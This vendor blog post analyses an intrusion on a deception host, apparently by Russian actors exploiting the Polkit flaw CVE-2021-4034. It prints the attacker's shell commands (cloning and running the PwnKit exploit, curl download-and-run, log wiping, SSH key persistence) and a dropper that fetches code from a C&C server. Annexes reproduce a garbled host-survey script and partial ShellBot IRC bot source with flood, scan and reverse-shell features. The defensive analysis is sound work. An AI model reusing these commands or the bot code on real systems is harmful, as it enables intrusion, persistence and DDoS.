Russia and Ukraine are staring at each other across the abyss. Tensions that began in 2014 following the Russian annexation of Crimea from Ukraine are fueling the border crisis today. In this post, we’re going to analyze an attack we discovered last week that appears to be Russian actors attempting to use a deception host to attack Ukrainian infrastructure. This attempt at privilege escalation could have had serious results if it had been successful. After failing to escalate privileges, the attacker left a loop of code running that, every second, executed a curl command against a Ukrainian government web page. The technique is worth noting, and this action on our deception environment could also represent a larger-scale effort on the part of the attackers.

To see our team talk about the intel uncovered, watch this on-demand webinar.


Polkit is a component for controlling systemwide privileges in Unix operating systems. It provides an organized way for non-privileged processes to communicate with privileged ones.

The CVE-2021-4034 vulnerability is a memory corruption vulnerability that allows unprivileged users to run commands as privileged users according to predefined policies. This vulnerability was discovered by The Qualys Research Team.


The attackers accessed the server via SSH from the TOR network and they started looking to see what the server contained by executing the following commands:

ubuntu@server$ id
ubuntu@server$ w
ubuntu@server$ curl
ubuntu@server$ git
ubuntu@server$ ls
ubuntu@server$ ls -al
ubuntu@server$ ls -r-al
ubuntu@server$ ls -r -al
ubuntu@server$ ls /home/
ubuntu@server$ cd ..
ubuntu@server$ ls -rla
ubuntu@server$ ls -Rla
ubuntu@server$ cd user2/
ubuntu@server$ ls
ubuntu@server$ cat network.txt 
ubuntu@server$ cat dir.txt 
ubuntu@server$ cd /
ubuntu@server$ ls -Rla

Then, they downloaded a GitHub repository called CVE-2021-4034 to exploit the Polkit pkexec vulnerability, and try to elevate their privileges1.

ubuntu@server$ git clone hxxps://
ubuntu@server$ git clone hxxps://
ubuntu@server$ cd CVE-2021-4034/
ubuntu@server$ make
ubuntu@server$ apt install gcc
ubuntu@server$ make
ubuntu@server$ ./cve-2021-4034 

They also tried to exploit that vulnerability with the following Linux ELF binary2 (e483074bbe5e41cacbe081f290d7e6b0c3184c7f):

ubuntu@server$  curl -fsSL hxxps:// -o PwnKit
ubuntu@server$ chmod +x PwnKit 
ubuntu@server$ ./PwnKit 

When they saw they couldn’t exploit that vulnerability because the host wasn’t vulnerable to CVE-2021-4034, they tried to delete their evidence by sending an empty character to the log files and deleting the previous scripts.

ubuntu@server$ echo '' > /var/log/*
ubuntu@server$ echo '' > /var/log/auth.log
ubuntu@server$ ls
ubuntu@server$ rm *

To gain persistence, and secure the weak SSH access, they added their RSA public key to the user’s SSH authorized_keys file, and then they changed the user’s password.

ubuntu@server$ echo "ssh-rsa <<obfuscated ssh key>>== <<obfuscated host name>>" >> .ssh/authorized_keys 
ubuntu@server$ cat .ssh/authorized_keys 
ubuntu@server$ su 
ubuntu@server$ passwd

After gaining persistence, they executed some system discovery commands. Then, they created and executed a Python script named привет.py3.


ubuntu@server$ tree /
ubuntu@server$ ss 
ubuntu@server$ cd tmp/
ubuntu@server$ touch привет.py
ubuntu@server$ vi привет.py 
ubuntu@server$ python3 привет.py
ubuntu@server$ vi привет.py
ubuntu@server$ python3 привет.py

This Python script just downloaded another Python script from their C&C named информация.py and they executed it.

# привет.py
import shlex
import subprocess
dw = 'curl -fsSL "https://IP_ADDRESS/информация" -o "информация.py"'
cmd = 'chmod +x && python3 "информация.py"'

This second script, информация.py, is another Python script that obtains information about the host4:

  • System boot time
  • Architecture
  • Machine platform
  • System name
  • CPU frequency
  • Total memory/available memory
  • Disk information


# информация.py
import os
import platform
from datetime import datetime
import pwd
import psutil
See annex 1

The next step is the creation of another Perl file by piping a long Base64 string that decodes into a eval unpack Perl command, a classic method of obfuscation.

echo "<<obfuscated base64 string>> | base64 --decode | perl " 

This Perl script connects to an IRC server over port 443 to this server’s channel #009. It’s a classic old-school IRC bot written in perl and created by 0ldW0lf. The objectives of this script are:

  • Start scanning ports 21, 22, 23, 25, 80, 110, 143 to the IP that the command and control server tells to the infected machine.
  • Download a payload.
  • Start doing a UDP flood attack.
  • Open a revershell.
  • Send back to the server a status message.
########## CONFIGURACAO ############
my $processo = 'ps';

$servidor='' unless $servidor;
my $porta='443';
my @canais=("#009");
my @adms=("molly","polly");
my @auth=("localhost");
See annex2

Another interesting step during the compromise was an attempt to check whether the host was a real one or not. The actor executed a Bash command that created a billion empty files and then they deleted them5:

Translation: money{1..9999999999}

ubuntu@server$ touch деньги{1..9999999999}
ubuntu@server$ ls 
ubuntu@server$ rm *
ubuntu@server$ less информация.py

Finally they left a Bash loop running a curl command against the Ukrainian government web page every second6.

ubuntu@server$ bash
ubuntu@server$ while true 
ubuntu@server$ do
ubuntu@server$    sleep 1
ubuntu@server$    curl -L hxxps://
ubuntu@server$ done

MITRE ATT&CK Techniques

Cataloging the threat actor’s TTPs with MITRE ATT&CK’s matrix can help teams mitigate risk and stop attacks. These are the MITRE ATT&CK techniques observed in this actor’s behavior:


Command and Scripting Interpreter – Unix Shell (T1059.004): attackers abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh…) depending on the specific distribution.

System Service Discovery (T1007): attackers try to get information about registered services. Commands that obtain information about services using operating system utilities.

Account Manipulation – SSH Authorized Keys (T1098.004): attackers modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of ssh sessions for remote management.

Indicator Removal on Host – File Deletion (T1070.004): attackers delete files left behind by the actions of their intrusion activity. Malware, tools. Or other non-native files dropped or created on a system by an adversary may leave traces to indicate what was done within a network and how.

Account Access Removal (T1531): attackers may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to the accounts.

Exploitation for Privilege Escalation (T1068): Attackers may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.


IP address
FilenameFile pathSHA-256


The goal of this actor was to escalate their privileges by exploiting the Polkit vulnerability and to use this server to send network packages to the Ukrainian government, perhaps as part of a bigger DDoS attack.

Mitigations for this type of attack

There are steps that can be taken to mitigate this or similar attacks. As always, update your software packages, keep your systems monitored at all times, and follow good security practices.

Temporarily measures you can take include:

  • Check outgoing connections in your Firewall
  • Polkit: update your system to the following packages version:
Ubuntu 21.10Ubuntu 20.04 LTSUbuntu 18.04 TLSnp
apt install policykit-10.105-31ubuntu0.1apt install policykit-10.105-26ubuntu1.2apt install policykit-1 0.105-20ubuntu0.18.04.6yum -y update polkit
  • Prevent pkexec execution: if you cannot apply the patches, you can fix the bug temporarily by executing a chmod 0755 /usr/bin/pkexec.


Annex 1

# importing the required modules
import os
import platform
from datetime import datetime
import pwd
import psutil
# Using the psutil library to get the boot time of the system
boot_time = datetime.fromtimestamp(psutil.boot_time())
print("[+] System Boot Time :", boot_time)
# getting thesystem up time from the uptime file at proc directory
with open("/proc/uptime", "r") as f:
        uptime =" ")[0].strip()
        uptime = int(float(uptime))
        uptime_hours = uptime // 3600
        uptime_minutes = (uptime % 3600) // 60
        print("[+] System Uptime : " + str(uptime_hours) + ":" + str(uptime_minutes) + " hours")
        # printing the Architecture of the OS
        print("[+] Architecture :", platform.architecture()[0])
        # Displaying the machine
        print("[+] Machine :", platform.machine())
        # printing the Operating System release information
        print("[+] Operating System Release :", platform.release())
        # prints the currently using system name
        print("[+] System Name :",platform.system())
        # This line will print the version of your Operating System
        print("[+] Operating System Version :", platform.version())
        # This will print the Node or hostname of your Operating System
        print("[+] Node: " + platform.node())
        # This will print your system platform
        print("[+] Platform :", platform.platform())
        # This will print the processor information
        print("[+] Processor :",platform.processor())
        pids = []
        for subdir in os.listdir('/proc'):
                if subdir.isdigit():
                            print('Total number of processes : {0}'.format(len(pids)))
                            users = pwd.getpwall()
                            for user in users:
                                    print(user.pw_name, user.pw_shell)
                                    # This code will print the number of CPU cores present
                                    print("[+] Number of Physical cores :", psutil.cpu_count(logical=False))
                                    print("[+] Number of Total cores :", psutil.cpu_count(logical=True))
                                    # This will print the maximum, minimum and current CPU frequency
                                    cpu_frequency = psutil.cpu_freq()
                                    print(f"[+] Max Frequency : {cpu_frequency.max:.2f}Mhz")
                                    print(f"[+] Min Frequency : {cpu_frequency.min:.2f}Mhz")
                                    print(f"[+] Current Frequency : {cpu_frequency.current:.2f}Mhz")
                                    # This will print the usage of CPU per core
                                    for i, percentage in enumerate(psutil.cpu_percent(percpu=True, interval=1)):
                                            print(f"[+] CPU Usage of Core {i} : {percentage}%")
                                            print(f"[+] Total CPU Usage : {psutil.cpu_percent()}%")
                                            # reading the cpuinfo file to print the name of
                                            # the CPU present
                                            with open("/proc/cpuinfo", "r") as f:
                                                    file_info = f.readlines()
                                                    cpuinfo = [x.strip().split(":")[1] for x in file_info if "model name" in x]
                                                    for index, item in enumerate(cpuinfo):
                                                            print("[+] Processor " + str(index) + " : " + item)
                                                            # writing a function to convert bytes to GigaByte
                                                            def bytes_to_GB(bytes):
                                                                    gb = bytes/(1024*1024*1024)
                                                                        gb = round(gb, 2)
                                                                            return gb
                                                                        # Using the virtual_memory() function it will return a tuple
                                                                        virtual_memory = psutil.virtual_memory()
                                                                        #This will print the primary memory details
                                                                        print("[+] Total Memory present :", bytes_to_GB(, "Gb")
                                                                        print("[+] Total Memory Available :", bytes_to_GB(virtual_memory.available), "Gb")
                                                                        print("[+] Total Memory Used :", bytes_to_GB(virtual_memory.used), "Gb")
                                                                        print("[+] Percentage Used :", virtual_memory.percent, "%")
                                                                        # This will print the swap memory details if available
                                                                        swap = psutil.swap_memory()
                                                                        print(f"[+] Total swap memory :{bytes_to_GB(}")
                                                                        print(f"[+] Free swap memory : {bytes_to_GB(}")
                                                                        print(f"[+] Used swap memory : {bytes_to_GB(swap.used)}")
                                                                        print(f"[+] Percentage Used: {swap.percent}%")
                                                                        # Gathering memory information from meminfo file
                                                                        print("\nReading the /proc/meminfo file: \n")
                                                                        with open("/proc/meminfo", "r") as f:
                                                                                lines = f.readlines()
                                                                                print("[+] " + lines[0].strip())
                                                                                print("[+] " + lines[1].strip())
                                                                                # accessing all the disk partitions
                                                                                disk_partitions = psutil.disk_partitions()
                                                                                # writing a function to convert bytes to Giga bytes
                                                                                def bytes_to_GB(bytes):
                                                                                        gb = bytes/(1024*1024*1024)
                                                                                            gb = round(gb, 2)
                                                                                                return gb
                                                                                            # displaying the partition and usage information
                                                                                            for partition in disk_partitions:
                                                                                                    print("[+] Partition Device : ", partition.device)
                                                                                                        print("[+] File System : ", partition.fstype)
                                                                                                            print("[+] Mountpoint : ", partition.mountpoint)
                                                                                                                    disk_usage = psutil.disk_usage(partition.mountpoint)
                                                                                                                        print("[+] Total Disk Space :", bytes_to_GB(, "GB")
                                                                                                                            print("[+] Free Disk Space :", bytes_to_GB(, "GB")
                                                                                                                                print("[+] Used Disk Space :", bytes_to_GB(disk_usage.used), "GB")
                                                                                                                                    print("[+] Percentage Used :", disk_usage.percent, "%")
                                                                                                                                    # get read/write statistics since boot
                                                                                                                                    disk_rw = psutil.disk_io_counters()
                                                                                                                                    print(f"[+] Total Read since boot : {bytes_to_GB(disk_rw.read_bytes)} GB")
                                                                                                                                    print(f"[+] Total Write sice boot : {bytes_to_GB(disk_rw.write_bytes)} GB")
                                                                                                                                    # writing a function to convert the bytes into gigabytes
                                                                                                                                    def bytes_to_GB(bytes):
                                                                                                                                            gb = bytes/(1024*1024*1024)
                                                                                                                                                gb = round(gb, 2)
                                                                                                                                                    return gb
                                                                                                                                                # gathering all network interfaces (virtual and physical) from the system
                                                                                                                                                if_addrs = psutil.net_if_addrs()
                                                                                                                                                # printing the information of each network interfaces
                                                                                                                                                for interface_name, interface_addresses in if_addrs.items():
                                                                                                                                                        for address in interface_addresses:
                                                                                                                                                                            print(f"Interface :", interface_name)
                                                                                                                                                                                    if str( == 'AddressFamily.AF_INET':
                                                                                                                                                                                                    print("[+] IP Address :", address.address)
                                                                                                                                                                                                                print("[+] Netmask :", address.netmask)
                                                                                                                                                                                                                            print("[+] Broadcast IP :", address.broadcast)
                                                                                                                                                                                                                                    elif str( == 'AddressFamily.AF_PACKET':
                                                                                                                                                                                                                                                    print("[+] MAC Address :", address.address)
                                                                                                                                                                                                                                                                print("[+] Netmask :", address.netmask)
                                                                                                                                                                                                                                                                            print("[+] Broadcast MAC :",address.broadcast)
                                                                                                                                                                                                                                                                            # getting the read/write statistics of network since boot
                                                                                                                                                                                                                                                                            net_io = psutil.net_io_counters()
                                                                                                                                                                                                                                                                            print("[+] Total Bytes Sent :", bytes_to_GB(net_io.bytes_sent))
                                                                                                                                                                                                                                                                            print("[+] Total Bytes Received :", bytes_to_GB(net_io.bytes_recv))
                                                                                                                                                                                                                                                                            battery = psutil.sensors_battery()
                                                                                                                                                                                                                                                                            print("[+] Battery Percentage :", round(battery.percent, 1), "%")
                                                                                                                                                                                                                                                                            print("[+] Battery time left :", round(battery.secsleft/3600, 2), "hr")
                                                                                                                                                                                                                                                                            print("[+] Power Plugged :", battery.power_plugged)

Annex 2

# ShellBOT
# 0ldW0lf - [email protected]
# -
# Stealth ShellBot Versão 0.2 by Thiago X
# Feito para ser usado em grandes redes de IRC sem IRCOP enchendo o saco :)
# Mudanças:
# - O Bot pega o nick/ident/name em uma URL e entra no IRC disfarçado :);
# - O Bot agora responde PINGs;
# - Você pode definir o prefixo dos comandos nas configurações;
# - Agora o Bot procurar pelo processo do apache para rodar como o apache :D;
# Comandos:
#          - Adicionado comando !estatisticas ;
#          - Alterado o comando @pacota para @oldpack;
#          - Adicionado dois novos pacotadores: @udp    e @udpfaixa   ;
#          - Adicionado um novo portscan -> @fullportscan   ;
#          - Adicionado comando @conback   com suporte para Windows/Unix :D;
#          - Adicionado comando: !sair para finalizar o bot;
#          - Adicionado comando: !novonick para trocar o nick do bot por um novo aleatorio;
#          - Adicionado comando !entra   e !sai  ;
#          - Adicionado comando @download  ;
#          - Adicionado comando !pacotes  para ativar/desativar pacotes :);
########## CONFIGURACAO ############
my $processo = 'ps';
$servidor='' unless $servidor;
my $porta='443';
my @canais=("#009");
my @adms=("molly","polly");
my @auth=("localhost");
# Anti Flood ( 6/3 Recomendado )
my $linas_max=6;
my $sleep=3;
my $nick = getnick();
my $ircname = getnick();
my $realname = (`uname -a`);
my $acessoshell = 1;
######## Stealth ShellBot ##########
my $prefixo = "! ";
my $estatisticas = 0;
my $pacotes = 1;
my $VERSAO = '0.2a';
$SIG{'PS'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
$servidor="$ARGV[0]" if $ARGV[0];
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);
my %irc_servers;
my %DCC;
my $dcc_sel = new IO::Select->new();
# Stealth Shellbot  #
sub getnick {
  #my $retornonick = &_get("");
  #return $retornonick;
  return "x".int(rand(9000)).int(rand(9000));
sub getident {
  my $retornoident = &_get("");
  my $identchance = int(rand(99000));
  if ($identchance > 30) {
     return $nick;
  } else {
     return $retornoident;
  return $retornoident;
sub getname {
  my $retornoname = &_get("");
  return $retornoname;
# IDENT TEMPORARIA - Pegar ident da url ta bugando o_o
sub getident2 {
my $length=shift;
$length = 3 if ($length < 3);
my @chars=('a'..'z','A'..'Z','1'..'9');
foreach (1..$length)
$randomstring.=$chars[rand @chars];
return $randomstring;
sub getstore ($$)
my $url = shift;
my $file = shift;
$http_stream_out = 1;
open(GET_OUTFILE, "> $file");
%http_loop_check = ();
return $main::http_get_result;
sub _get
my $url = shift;
my $proxy = "";
grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
if (($proxy eq "") && $url =~ m,^https://([^/:]+)(?::(\d+))?(/\S*)?$,) {
my $host = $1;
my $port = $2 || 80;
my $path = $3;
$path = "/" unless defined($path);
return _trivial_http_get($host, $port, $path);
} elsif ($proxy =~ m,^https://([^/:]+):(\d+)(/\S*)?$,) {
my $host = $1;
my $port = $2;
my $path = $url;
return _trivial_http_get($host, $port, $path);
} else {
return undef;
sub _trivial_http_get
my($host, $port, $path) = @_;
my($AGENT, $VERSION, $p);
#print "HOST=$host, PORT=$port, PATH=$path\n";
$AGENT = "get-minimal";
$VERSION = "20000118";
$path =~ s/ /%20/g;
require IO::Socket;
local($^W) = 0;
my $sock = IO::Socket::INET->new(PeerAddr => $host,
PeerPort => $port,
Proto => 'tcp',
Timeout => 60) || return;
my $netloc = $host;
$netloc .= ":$port" if $port != 80;
my $request = "GET $path HTTP/1.0\015\012"
. "Host: $netloc\015\012"
. "User-Agent: $AGENT/$VERSION/u\015\012";
$request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
$request .= "\015\012";
print $sock $request;
my $buf = "";
my $n;
my $b1 = "";
while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
if ($b1 eq "") { # first block?
$b1 = $buf; # Save this for errorcode parsing
$buf =~ s/.+?\015?\012\015?\012//s; # zap header
if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
return undef unless defined($n);
$main::http_get_result = 200;
if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
$main::http_get_result = $1;
# print "CODE=$main::http_get_result\n$b1\n";
if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/
) {
# redirect
my $url

1The web page has been modified.
2The web page has been modified.
3Some characters are in Cyrilic.
4Some characters are in Cyrilic.
5Some characters are in Cyrilic.
6The web address has been modified (hxxps).

John Requejo, integration engineer at CounterCraft, works tirelessly to attract attackers to the deception environment and also analyze their behavior. You can find him on LinkedIn.